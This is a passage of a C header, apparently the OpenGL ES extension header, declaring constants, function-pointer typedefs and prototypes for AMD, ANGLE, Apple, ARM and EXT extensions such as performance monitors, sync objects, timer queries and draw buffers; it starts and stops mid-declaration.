*numCounters, GLint *maxActiveCounters, GLsizei counterSize, GLuint *counters); typedef void (GL_APIENTRYP PFNGLGETPERFMONITORGROUPSTRINGAMDPROC) (GLuint group, GLsizei bufSize, GLsizei *length, GLchar *groupString); typedef void (GL_APIENTRYP PFNGLGETPERFMONITORCOUNTERSTRINGAMDPROC) (GLuint group, GLuint counter, GLsizei bufSize, GLsizei *length, GLchar *counterString); typedef void (GL_APIENTRYP PFNGLGETPERFMONITORCOUNTERINFOAMDPROC) (GLuint group, GLuint counter, GLenum pname, void *data); typedef void (GL_APIENTRYP PFNGLGENPERFMONITORSAMDPROC) (GLsizei n, GLuint *monitors); typedef void (GL_APIENTRYP PFNGLDELETEPERFMONITORSAMDPROC) (GLsizei n, GLuint *monitors); typedef void (GL_APIENTRYP PFNGLSELECTPERFMONITORCOUNTERSAMDPROC) (GLuint monitor, GLboolean enable, GLuint group, GLint numCounters, GLuint *counterList); typedef void (GL_APIENTRYP PFNGLBEGINPERFMONITORAMDPROC) (GLuint monitor); typedef void (GL_APIENTRYP PFNGLENDPERFMONITORAMDPROC) (GLuint monitor); typedef void (GL_APIENTRYP PFNGLGETPERFMONITORCOUNTERDATAAMDPROC) (GLuint monitor, GLenum pname, GLsizei dataSize, GLuint *data, GLint *bytesWritten); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetPerfMonitorGroupsAMD (GLint *numGroups, GLsizei groupsSize, GLuint *groups); GL_APICALL void GL_APIENTRY glGetPerfMonitorCountersAMD (GLuint group, GLint *numCounters, GLint *maxActiveCounters, GLsizei counterSize, GLuint *counters); GL_APICALL void GL_APIENTRY glGetPerfMonitorGroupStringAMD (GLuint group, GLsizei bufSize, GLsizei *length, GLchar *groupString); GL_APICALL void GL_APIENTRY glGetPerfMonitorCounterStringAMD (GLuint group, GLuint counter, GLsizei bufSize, GLsizei *length, GLchar *counterString); GL_APICALL void GL_APIENTRY glGetPerfMonitorCounterInfoAMD (GLuint group, GLuint counter, GLenum pname, void *data); GL_APICALL void GL_APIENTRY glGenPerfMonitorsAMD (GLsizei n, GLuint *monitors); GL_APICALL void GL_APIENTRY glDeletePerfMonitorsAMD (GLsizei n, GLuint *monitors); GL_APICALL void GL_APIENTRY glSelectPerfMonitorCountersAMD (GLuint monitor, GLboolean enable, GLuint group, GLint numCounters, GLuint *counterList); GL_APICALL void GL_APIENTRY glBeginPerfMonitorAMD (GLuint monitor); GL_APICALL void GL_APIENTRY glEndPerfMonitorAMD (GLuint monitor); GL_APICALL void GL_APIENTRY glGetPerfMonitorCounterDataAMD (GLuint monitor, GLenum pname, GLsizei dataSize, GLuint *data, GLint *bytesWritten); #endif #endif /* GL_AMD_performance_monitor */ #ifndef GL_AMD_program_binary_Z400 #define GL_AMD_program_binary_Z400 1 #define GL_Z400_BINARY_AMD 0x8740 #endif /* GL_AMD_program_binary_Z400 */ #ifndef GL_ANDROID_extension_pack_es31a #define GL_ANDROID_extension_pack_es31a 1 #endif /* GL_ANDROID_extension_pack_es31a */ #ifndef GL_ANGLE_depth_texture #define GL_ANGLE_depth_texture 1 #endif /* GL_ANGLE_depth_texture */ #ifndef GL_ANGLE_framebuffer_blit #define GL_ANGLE_framebuffer_blit 1 #define GL_READ_FRAMEBUFFER_ANGLE 0x8CA8 #define GL_DRAW_FRAMEBUFFER_ANGLE 0x8CA9 #define GL_DRAW_FRAMEBUFFER_BINDING_ANGLE 0x8CA6 #define GL_READ_FRAMEBUFFER_BINDING_ANGLE 0x8CAA typedef void (GL_APIENTRYP PFNGLBLITFRAMEBUFFERANGLEPROC) (GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBlitFramebufferANGLE (GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter); #endif #endif /* GL_ANGLE_framebuffer_blit */ #ifndef GL_ANGLE_framebuffer_multisample #define GL_ANGLE_framebuffer_multisample 1 #define GL_RENDERBUFFER_SAMPLES_ANGLE 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_ANGLE 0x8D56 #define GL_MAX_SAMPLES_ANGLE 0x8D57 typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEANGLEPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleANGLE (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); #endif #endif /* GL_ANGLE_framebuffer_multisample */ #ifndef GL_ANGLE_instanced_arrays #define GL_ANGLE_instanced_arrays 1 #define GL_VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE 0x88FE typedef void (GL_APIENTRYP PFNGLDRAWARRAYSINSTANCEDANGLEPROC) (GLenum mode, GLint first, GLsizei count, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDANGLEPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); typedef void (GL_APIENTRYP PFNGLVERTEXATTRIBDIVISORANGLEPROC) (GLuint index, GLuint divisor); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawArraysInstancedANGLE (GLenum mode, GLint first, GLsizei count, GLsizei primcount); GL_APICALL void GL_APIENTRY glDrawElementsInstancedANGLE (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei primcount); GL_APICALL void GL_APIENTRY glVertexAttribDivisorANGLE (GLuint index, GLuint divisor); #endif #endif /* GL_ANGLE_instanced_arrays */ #ifndef GL_ANGLE_pack_reverse_row_order #define GL_ANGLE_pack_reverse_row_order 1 #define GL_PACK_REVERSE_ROW_ORDER_ANGLE 0x93A4 #endif /* GL_ANGLE_pack_reverse_row_order */ #ifndef GL_ANGLE_program_binary #define GL_ANGLE_program_binary 1 #define GL_PROGRAM_BINARY_ANGLE 0x93A6 #endif /* GL_ANGLE_program_binary */ #ifndef GL_ANGLE_texture_compression_dxt3 #define GL_ANGLE_texture_compression_dxt3 1 #define GL_COMPRESSED_RGBA_S3TC_DXT3_ANGLE 0x83F2 #endif /* GL_ANGLE_texture_compression_dxt3 */ #ifndef GL_ANGLE_texture_compression_dxt5 #define GL_ANGLE_texture_compression_dxt5 1 #define GL_COMPRESSED_RGBA_S3TC_DXT5_ANGLE 0x83F3 #endif /* GL_ANGLE_texture_compression_dxt5 */ #ifndef GL_ANGLE_texture_usage #define GL_ANGLE_texture_usage 1 #define GL_TEXTURE_USAGE_ANGLE 0x93A2 #define GL_FRAMEBUFFER_ATTACHMENT_ANGLE 0x93A3 #endif /* GL_ANGLE_texture_usage */ #ifndef GL_ANGLE_translated_shader_source #define GL_ANGLE_translated_shader_source 1 #define GL_TRANSLATED_SHADER_SOURCE_LENGTH_ANGLE 0x93A0 typedef void (GL_APIENTRYP PFNGLGETTRANSLATEDSHADERSOURCEANGLEPROC) (GLuint shader, GLsizei bufsize, GLsizei *length, GLchar *source); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGetTranslatedShaderSourceANGLE (GLuint shader, GLsizei bufsize, GLsizei *length, GLchar *source); #endif #endif /* GL_ANGLE_translated_shader_source */ #ifndef GL_APPLE_clip_distance #define GL_APPLE_clip_distance 1 #define GL_MAX_CLIP_DISTANCES_APPLE 0x0D32 #define GL_CLIP_DISTANCE0_APPLE 0x3000 #define GL_CLIP_DISTANCE1_APPLE 0x3001 #define GL_CLIP_DISTANCE2_APPLE 0x3002 #define GL_CLIP_DISTANCE3_APPLE 0x3003 #define GL_CLIP_DISTANCE4_APPLE 0x3004 #define GL_CLIP_DISTANCE5_APPLE 0x3005 #define GL_CLIP_DISTANCE6_APPLE 0x3006 #define GL_CLIP_DISTANCE7_APPLE 0x3007 #endif /* GL_APPLE_clip_distance */ #ifndef GL_APPLE_color_buffer_packed_float #define GL_APPLE_color_buffer_packed_float 1 #endif /* GL_APPLE_color_buffer_packed_float */ #ifndef GL_APPLE_copy_texture_levels #define GL_APPLE_copy_texture_levels 1 typedef void (GL_APIENTRYP PFNGLCOPYTEXTURELEVELSAPPLEPROC) (GLuint destinationTexture, GLuint sourceTexture, GLint sourceBaseLevel, GLsizei sourceLevelCount); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCopyTextureLevelsAPPLE (GLuint destinationTexture, GLuint sourceTexture, GLint sourceBaseLevel, GLsizei sourceLevelCount); #endif #endif /* GL_APPLE_copy_texture_levels */ #ifndef GL_APPLE_framebuffer_multisample #define GL_APPLE_framebuffer_multisample 1 #define GL_RENDERBUFFER_SAMPLES_APPLE 0x8CAB #define GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE_APPLE 0x8D56 #define GL_MAX_SAMPLES_APPLE 0x8D57 #define GL_READ_FRAMEBUFFER_APPLE 0x8CA8 #define GL_DRAW_FRAMEBUFFER_APPLE 0x8CA9 #define GL_DRAW_FRAMEBUFFER_BINDING_APPLE 0x8CA6 #define GL_READ_FRAMEBUFFER_BINDING_APPLE 0x8CAA typedef void (GL_APIENTRYP PFNGLRENDERBUFFERSTORAGEMULTISAMPLEAPPLEPROC) (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); typedef void (GL_APIENTRYP PFNGLRESOLVEMULTISAMPLEFRAMEBUFFERAPPLEPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glRenderbufferStorageMultisampleAPPLE (GLenum target, GLsizei samples, GLenum internalformat, GLsizei width, GLsizei height); GL_APICALL void GL_APIENTRY glResolveMultisampleFramebufferAPPLE (void); #endif #endif /* GL_APPLE_framebuffer_multisample */ #ifndef GL_APPLE_rgb_422 #define GL_APPLE_rgb_422 1 #define GL_RGB_422_APPLE 0x8A1F #define GL_UNSIGNED_SHORT_8_8_APPLE 0x85BA #define GL_UNSIGNED_SHORT_8_8_REV_APPLE 0x85BB #define GL_RGB_RAW_422_APPLE 0x8A51 #endif /* GL_APPLE_rgb_422 */ #ifndef GL_APPLE_sync #define GL_APPLE_sync 1 #define GL_SYNC_OBJECT_APPLE 0x8A53 #define GL_MAX_SERVER_WAIT_TIMEOUT_APPLE 0x9111 #define GL_OBJECT_TYPE_APPLE 0x9112 #define GL_SYNC_CONDITION_APPLE 0x9113 #define GL_SYNC_STATUS_APPLE 0x9114 #define GL_SYNC_FLAGS_APPLE 0x9115 #define GL_SYNC_FENCE_APPLE 0x9116 #define GL_SYNC_GPU_COMMANDS_COMPLETE_APPLE 0x9117 #define GL_UNSIGNALED_APPLE 0x9118 #define GL_SIGNALED_APPLE 0x9119 #define GL_ALREADY_SIGNALED_APPLE 0x911A #define GL_TIMEOUT_EXPIRED_APPLE 0x911B #define GL_CONDITION_SATISFIED_APPLE 0x911C #define GL_WAIT_FAILED_APPLE 0x911D #define GL_SYNC_FLUSH_COMMANDS_BIT_APPLE 0x00000001 #define GL_TIMEOUT_IGNORED_APPLE 0xFFFFFFFFFFFFFFFFull typedef GLsync (GL_APIENTRYP PFNGLFENCESYNCAPPLEPROC) (GLenum condition, GLbitfield flags); typedef GLboolean (GL_APIENTRYP PFNGLISSYNCAPPLEPROC) (GLsync sync); typedef void (GL_APIENTRYP PFNGLDELETESYNCAPPLEPROC) (GLsync sync); typedef GLenum (GL_APIENTRYP PFNGLCLIENTWAITSYNCAPPLEPROC) (GLsync sync, GLbitfield flags, GLuint64 timeout); typedef void (GL_APIENTRYP PFNGLWAITSYNCAPPLEPROC) (GLsync sync, GLbitfield flags, GLuint64 timeout); typedef void (GL_APIENTRYP PFNGLGETINTEGER64VAPPLEPROC) (GLenum pname, GLint64 *params); typedef void (GL_APIENTRYP PFNGLGETSYNCIVAPPLEPROC) (GLsync sync, GLenum pname, GLsizei bufSize, GLsizei *length, GLint *values); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL GLsync GL_APIENTRY glFenceSyncAPPLE (GLenum condition, GLbitfield flags); GL_APICALL GLboolean GL_APIENTRY glIsSyncAPPLE (GLsync sync); GL_APICALL void GL_APIENTRY glDeleteSyncAPPLE (GLsync sync); GL_APICALL GLenum GL_APIENTRY glClientWaitSyncAPPLE (GLsync sync, GLbitfield flags, GLuint64 timeout); GL_APICALL void GL_APIENTRY glWaitSyncAPPLE (GLsync sync, GLbitfield flags, GLuint64 timeout); GL_APICALL void GL_APIENTRY glGetInteger64vAPPLE (GLenum pname, GLint64 *params); GL_APICALL void GL_APIENTRY glGetSyncivAPPLE (GLsync sync, GLenum pname, GLsizei bufSize, GLsizei *length, GLint *values); #endif #endif /* GL_APPLE_sync */ #ifndef GL_APPLE_texture_format_BGRA8888 #define GL_APPLE_texture_format_BGRA8888 1 #define GL_BGRA_EXT 0x80E1 #define GL_BGRA8_EXT 0x93A1 #endif /* GL_APPLE_texture_format_BGRA8888 */ #ifndef GL_APPLE_texture_max_level #define GL_APPLE_texture_max_level 1 #define GL_TEXTURE_MAX_LEVEL_APPLE 0x813D #endif /* GL_APPLE_texture_max_level */ #ifndef GL_APPLE_texture_packed_float #define GL_APPLE_texture_packed_float 1 #define GL_UNSIGNED_INT_10F_11F_11F_REV_APPLE 0x8C3B #define GL_UNSIGNED_INT_5_9_9_9_REV_APPLE 0x8C3E #define GL_R11F_G11F_B10F_APPLE 0x8C3A #define GL_RGB9_E5_APPLE 0x8C3D #endif /* GL_APPLE_texture_packed_float */ #ifndef GL_ARM_mali_program_binary #define GL_ARM_mali_program_binary 1 #define GL_MALI_PROGRAM_BINARY_ARM 0x8F61 #endif /* GL_ARM_mali_program_binary */ #ifndef GL_ARM_mali_shader_binary #define GL_ARM_mali_shader_binary 1 #define GL_MALI_SHADER_BINARY_ARM 0x8F60 #endif /* GL_ARM_mali_shader_binary */ #ifndef GL_ARM_rgba8 #define GL_ARM_rgba8 1 #endif /* GL_ARM_rgba8 */ #ifndef GL_ARM_shader_framebuffer_fetch #define GL_ARM_shader_framebuffer_fetch 1 #define GL_FETCH_PER_SAMPLE_ARM 0x8F65 #define GL_FRAGMENT_SHADER_FRAMEBUFFER_FETCH_MRT_ARM 0x8F66 #endif /* GL_ARM_shader_framebuffer_fetch */ #ifndef GL_ARM_shader_framebuffer_fetch_depth_stencil #define GL_ARM_shader_framebuffer_fetch_depth_stencil 1 #endif /* GL_ARM_shader_framebuffer_fetch_depth_stencil */ #ifndef GL_DMP_program_binary #define GL_DMP_program_binary 1 #define GL_SMAPHS30_PROGRAM_BINARY_DMP 0x9251 #define GL_SMAPHS_PROGRAM_BINARY_DMP 0x9252 #define GL_DMP_PROGRAM_BINARY_DMP 0x9253 #endif /* GL_DMP_program_binary */ #ifndef GL_DMP_shader_binary #define GL_DMP_shader_binary 1 #define GL_SHADER_BINARY_DMP 0x9250 #endif /* GL_DMP_shader_binary */ #ifndef GL_EXT_EGL_image_array #define GL_EXT_EGL_image_array 1 #endif /* GL_EXT_EGL_image_array */ #ifndef GL_EXT_EGL_image_storage #define GL_EXT_EGL_image_storage 1 typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETTEXSTORAGEEXTPROC) (GLenum target, GLeglImageOES image, const GLint* attrib_list); typedef void (GL_APIENTRYP PFNGLEGLIMAGETARGETTEXTURESTORAGEEXTPROC) (GLuint texture, GLeglImageOES image, const GLint* attrib_list); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glEGLImageTargetTexStorageEXT (GLenum target, GLeglImageOES image, const GLint* attrib_list); GL_APICALL void GL_APIENTRY glEGLImageTargetTextureStorageEXT (GLuint texture, GLeglImageOES image, const GLint* attrib_list); #endif #endif /* GL_EXT_EGL_image_storage */ #ifndef GL_EXT_YUV_target #define GL_EXT_YUV_target 1 #define GL_SAMPLER_EXTERNAL_2D_Y2Y_EXT 0x8BE7 #endif /* GL_EXT_YUV_target */ #ifndef GL_EXT_base_instance #define GL_EXT_base_instance 1 typedef void (GL_APIENTRYP PFNGLDRAWARRAYSINSTANCEDBASEINSTANCEEXTPROC) (GLenum mode, GLint first, GLsizei count, GLsizei instancecount, GLuint baseinstance); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDBASEINSTANCEEXTPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLuint baseinstance); typedef void (GL_APIENTRYP PFNGLDRAWELEMENTSINSTANCEDBASEVERTEXBASEINSTANCEEXTPROC) (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex, GLuint baseinstance); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDrawArraysInstancedBaseInstanceEXT (GLenum mode, GLint first, GLsizei count, GLsizei instancecount, GLuint baseinstance); GL_APICALL void GL_APIENTRY glDrawElementsInstancedBaseInstanceEXT (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLuint baseinstance); GL_APICALL void GL_APIENTRY glDrawElementsInstancedBaseVertexBaseInstanceEXT (GLenum mode, GLsizei count, GLenum type, const void *indices, GLsizei instancecount, GLint basevertex, GLuint baseinstance); #endif #endif /* GL_EXT_base_instance */ #ifndef GL_EXT_blend_func_extended #define GL_EXT_blend_func_extended 1 #define GL_SRC1_COLOR_EXT 0x88F9 #define GL_SRC1_ALPHA_EXT 0x8589 #define GL_ONE_MINUS_SRC1_COLOR_EXT 0x88FA #define GL_ONE_MINUS_SRC1_ALPHA_EXT 0x88FB #define GL_SRC_ALPHA_SATURATE_EXT 0x0308 #define GL_LOCATION_INDEX_EXT 0x930F #define GL_MAX_DUAL_SOURCE_DRAW_BUFFERS_EXT 0x88FC typedef void (GL_APIENTRYP PFNGLBINDFRAGDATALOCATIONINDEXEDEXTPROC) (GLuint program, GLuint colorNumber, GLuint index, const GLchar *name); typedef void (GL_APIENTRYP PFNGLBINDFRAGDATALOCATIONEXTPROC) (GLuint program, GLuint color, const GLchar *name); typedef GLint (GL_APIENTRYP PFNGLGETPROGRAMRESOURCELOCATIONINDEXEXTPROC) (GLuint program, GLenum programInterface, const GLchar *name); typedef GLint (GL_APIENTRYP PFNGLGETFRAGDATAINDEXEXTPROC) (GLuint program, const GLchar *name); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBindFragDataLocationIndexedEXT (GLuint program, GLuint colorNumber, GLuint index, const GLchar *name); GL_APICALL void GL_APIENTRY glBindFragDataLocationEXT (GLuint program, GLuint color, const GLchar *name); GL_APICALL GLint GL_APIENTRY glGetProgramResourceLocationIndexEXT (GLuint program, GLenum programInterface, const GLchar *name); GL_APICALL GLint GL_APIENTRY glGetFragDataIndexEXT (GLuint program, const GLchar *name); #endif #endif /* GL_EXT_blend_func_extended */ #ifndef GL_EXT_blend_minmax #define GL_EXT_blend_minmax 1 #define GL_MIN_EXT 0x8007 #define GL_MAX_EXT 0x8008 #endif /* GL_EXT_blend_minmax */ #ifndef GL_EXT_buffer_storage #define GL_EXT_buffer_storage 1 #define GL_MAP_READ_BIT 0x0001 #define GL_MAP_WRITE_BIT 0x0002 #define GL_MAP_PERSISTENT_BIT_EXT 0x0040 #define GL_MAP_COHERENT_BIT_EXT 0x0080 #define GL_DYNAMIC_STORAGE_BIT_EXT 0x0100 #define GL_CLIENT_STORAGE_BIT_EXT 0x0200 #define GL_CLIENT_MAPPED_BUFFER_BARRIER_BIT_EXT 0x00004000 #define GL_BUFFER_IMMUTABLE_STORAGE_EXT 0x821F #define GL_BUFFER_STORAGE_FLAGS_EXT 0x8220 typedef void (GL_APIENTRYP PFNGLBUFFERSTORAGEEXTPROC) (GLenum target, GLsizeiptr size, const void *data, GLbitfield flags); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glBufferStorageEXT (GLenum target, GLsizeiptr size, const void *data, GLbitfield flags); #endif #endif /* GL_EXT_buffer_storage */ #ifndef GL_EXT_clear_texture #define GL_EXT_clear_texture 1 typedef void (GL_APIENTRYP PFNGLCLEARTEXIMAGEEXTPROC) (GLuint texture, GLint level, GLenum format, GLenum type, const void *data); typedef void (GL_APIENTRYP PFNGLCLEARTEXSUBIMAGEEXTPROC) (GLuint texture, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, const void *data); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glClearTexImageEXT (GLuint texture, GLint level, GLenum format, GLenum type, const void *data); GL_APICALL void GL_APIENTRY glClearTexSubImageEXT (GLuint texture, GLint level, GLint xoffset, GLint yoffset, GLint zoffset, GLsizei width, GLsizei height, GLsizei depth, GLenum format, GLenum type, const void *data); #endif #endif /* GL_EXT_clear_texture */ #ifndef GL_EXT_clip_control #define GL_EXT_clip_control 1 #define GL_LOWER_LEFT_EXT 0x8CA1 #define GL_UPPER_LEFT_EXT 0x8CA2 #define GL_NEGATIVE_ONE_TO_ONE_EXT 0x935E #define GL_ZERO_TO_ONE_EXT 0x935F #define GL_CLIP_ORIGIN_EXT 0x935C #define GL_CLIP_DEPTH_MODE_EXT 0x935D typedef void (GL_APIENTRYP PFNGLCLIPCONTROLEXTPROC) (GLenum origin, GLenum depth); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glClipControlEXT (GLenum origin, GLenum depth); #endif #endif /* GL_EXT_clip_control */ #ifndef GL_EXT_clip_cull_distance #define GL_EXT_clip_cull_distance 1 #define GL_MAX_CLIP_DISTANCES_EXT 0x0D32 #define GL_MAX_CULL_DISTANCES_EXT 0x82F9 #define GL_MAX_COMBINED_CLIP_AND_CULL_DISTANCES_EXT 0x82FA #define GL_CLIP_DISTANCE0_EXT 0x3000 #define GL_CLIP_DISTANCE1_EXT 0x3001 #define GL_CLIP_DISTANCE2_EXT 0x3002 #define GL_CLIP_DISTANCE3_EXT 0x3003 #define GL_CLIP_DISTANCE4_EXT 0x3004 #define GL_CLIP_DISTANCE5_EXT 0x3005 #define GL_CLIP_DISTANCE6_EXT 0x3006 #define GL_CLIP_DISTANCE7_EXT 0x3007 #endif /* GL_EXT_clip_cull_distance */ #ifndef GL_EXT_color_buffer_float #define GL_EXT_color_buffer_float 1 #endif /* GL_EXT_color_buffer_float */ #ifndef GL_EXT_color_buffer_half_float #define GL_EXT_color_buffer_half_float 1 #define GL_RGBA16F_EXT 0x881A #define GL_RGB16F_EXT 0x881B #define GL_RG16F_EXT 0x822F #define GL_R16F_EXT 0x822D #define GL_FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT 0x8211 #define GL_UNSIGNED_NORMALIZED_EXT 0x8C17 #endif /* GL_EXT_color_buffer_half_float */ #ifndef GL_EXT_conservative_depth #define GL_EXT_conservative_depth 1 #endif /* GL_EXT_conservative_depth */ #ifndef GL_EXT_copy_image #define GL_EXT_copy_image 1 typedef void (GL_APIENTRYP PFNGLCOPYIMAGESUBDATAEXTPROC) (GLuint srcName, GLenum srcTarget, GLint srcLevel, GLint srcX, GLint srcY, GLint srcZ, GLuint dstName, GLenum dstTarget, GLint dstLevel, GLint dstX, GLint dstY, GLint dstZ, GLsizei srcWidth, GLsizei srcHeight, GLsizei srcDepth); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glCopyImageSubDataEXT (GLuint srcName, GLenum srcTarget, GLint srcLevel, GLint srcX, GLint srcY, GLint srcZ, GLuint dstName, GLenum dstTarget, GLint dstLevel, GLint dstX, GLint dstY, GLint dstZ, GLsizei srcWidth, GLsizei srcHeight, GLsizei srcDepth); #endif #endif /* GL_EXT_copy_image */ #ifndef GL_EXT_debug_label #define GL_EXT_debug_label 1 #define GL_PROGRAM_PIPELINE_OBJECT_EXT 0x8A4F #define GL_PROGRAM_OBJECT_EXT 0x8B40 #define GL_SHADER_OBJECT_EXT 0x8B48 #define GL_BUFFER_OBJECT_EXT 0x9151 #define GL_QUERY_OBJECT_EXT 0x9153 #define GL_VERTEX_ARRAY_OBJECT_EXT 0x9154 #define GL_TRANSFORM_FEEDBACK 0x8E22 typedef void (GL_APIENTRYP PFNGLLABELOBJECTEXTPROC) (GLenum type, GLuint object, GLsizei length, const GLchar *label); typedef void (GL_APIENTRYP PFNGLGETOBJECTLABELEXTPROC) (GLenum type, GLuint object, GLsizei bufSize, GLsizei *length, GLchar *label); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glLabelObjectEXT (GLenum type, GLuint object, GLsizei length, const GLchar *label); GL_APICALL void GL_APIENTRY glGetObjectLabelEXT (GLenum type, GLuint object, GLsizei bufSize, GLsizei *length, GLchar *label); #endif #endif /* GL_EXT_debug_label */ #ifndef GL_EXT_debug_marker #define GL_EXT_debug_marker 1 typedef void (GL_APIENTRYP PFNGLINSERTEVENTMARKEREXTPROC) (GLsizei length, const GLchar *marker); typedef void (GL_APIENTRYP PFNGLPUSHGROUPMARKEREXTPROC) (GLsizei length, const GLchar *marker); typedef void (GL_APIENTRYP PFNGLPOPGROUPMARKEREXTPROC) (void); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glInsertEventMarkerEXT (GLsizei length, const GLchar *marker); GL_APICALL void GL_APIENTRY glPushGroupMarkerEXT (GLsizei length, const GLchar *marker); GL_APICALL void GL_APIENTRY glPopGroupMarkerEXT (void); #endif #endif /* GL_EXT_debug_marker */ #ifndef GL_EXT_depth_clamp #define GL_EXT_depth_clamp 1 #define GL_DEPTH_CLAMP_EXT 0x864F #endif /* GL_EXT_depth_clamp */ #ifndef GL_EXT_discard_framebuffer #define GL_EXT_discard_framebuffer 1 #define GL_COLOR_EXT 0x1800 #define GL_DEPTH_EXT 0x1801 #define GL_STENCIL_EXT 0x1802 typedef void (GL_APIENTRYP PFNGLDISCARDFRAMEBUFFEREXTPROC) (GLenum target, GLsizei numAttachments, const GLenum *attachments); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glDiscardFramebufferEXT (GLenum target, GLsizei numAttachments, const GLenum *attachments); #endif #endif /* GL_EXT_discard_framebuffer */ #ifndef GL_EXT_disjoint_timer_query #define GL_EXT_disjoint_timer_query 1 #define GL_QUERY_COUNTER_BITS_EXT 0x8864 #define GL_CURRENT_QUERY_EXT 0x8865 #define GL_QUERY_RESULT_EXT 0x8866 #define GL_QUERY_RESULT_AVAILABLE_EXT 0x8867 #define GL_TIME_ELAPSED_EXT 0x88BF #define GL_TIMESTAMP_EXT 0x8E28 #define GL_GPU_DISJOINT_EXT 0x8FBB typedef void (GL_APIENTRYP PFNGLGENQUERIESEXTPROC) (GLsizei n, GLuint *ids); typedef void (GL_APIENTRYP PFNGLDELETEQUERIESEXTPROC) (GLsizei n, const GLuint *ids); typedef GLboolean (GL_APIENTRYP PFNGLISQUERYEXTPROC) (GLuint id); typedef void (GL_APIENTRYP PFNGLBEGINQUERYEXTPROC) (GLenum target, GLuint id); typedef void (GL_APIENTRYP PFNGLENDQUERYEXTPROC) (GLenum target); typedef void (GL_APIENTRYP PFNGLQUERYCOUNTEREXTPROC) (GLuint id, GLenum target); typedef void (GL_APIENTRYP PFNGLGETQUERYIVEXTPROC) (GLenum target, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETQUERYOBJECTIVEXTPROC) (GLuint id, GLenum pname, GLint *params); typedef void (GL_APIENTRYP PFNGLGETQUERYOBJECTUIVEXTPROC) (GLuint id, GLenum pname, GLuint *params); typedef void (GL_APIENTRYP PFNGLGETQUERYOBJECTI64VEXTPROC) (GLuint id, GLenum pname, GLint64 *params); typedef void (GL_APIENTRYP PFNGLGETQUERYOBJECTUI64VEXTPROC) (GLuint id, GLenum pname, GLuint64 *params); #ifdef GL_GLEXT_PROTOTYPES GL_APICALL void GL_APIENTRY glGenQueriesEXT (GLsizei n, GLuint *ids); GL_APICALL void GL_APIENTRY glDeleteQueriesEXT (GLsizei n, const GLuint *ids); GL_APICALL GLboolean GL_APIENTRY glIsQueryEXT (GLuint id); GL_APICALL void GL_APIENTRY glBeginQueryEXT (GLenum target, GLuint id); GL_APICALL void GL_APIENTRY glEndQueryEXT (GLenum target); GL_APICALL void GL_APIENTRY glQueryCounterEXT (GLuint id, GLenum target); GL_APICALL void GL_APIENTRY glGetQueryivEXT (GLenum target, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetQueryObjectivEXT (GLuint id, GLenum pname, GLint *params); GL_APICALL void GL_APIENTRY glGetQueryObjectuivEXT (GLuint id, GLenum pname, GLuint *params); GL_APICALL void GL_APIENTRY glGetQueryObjecti64vEXT (GLuint id, GLenum pname, GLint64 *params); GL_APICALL void GL_APIENTRY glGetQueryObjectui64vEXT (GLuint id, GLenum pname, GLuint64 *params); #endif #endif /* GL_EXT_disjoint_timer_query */ #ifndef GL_EXT_draw_buffers #define GL_EXT_draw_buffers 1 #define GL_MAX_COLOR_ATTACHMENTS_EXT 0x8CDF #define GL_MAX_DRAW_BUFFERS_EXT 0x8824 #define GL_DRAW_BUFFER0_EXT 0x8825 #define GL_DRAW_BUFFER1_EXT 0x8826 #define GL_DRAW_BUFFER2_EXT 0x8827 #define GL_DRAW_BUFFER3_EXT 0x8828 #define GL_DRAW_BUFFER4_EXT 0x8829 #define GL_DRAW_BUFFER5_EXT 0x882A #define GL_DRAW_BUFFER6_EXT 0x882B #define GL_DRAW_BUFFER7_EXT 0x882C #define GL_DRAW_BUFFER8_EXT 0x882D #define GL_DRAW_BUFFER9_EXT 0x882E #define GL_DRAW_BUFFER10_EXT 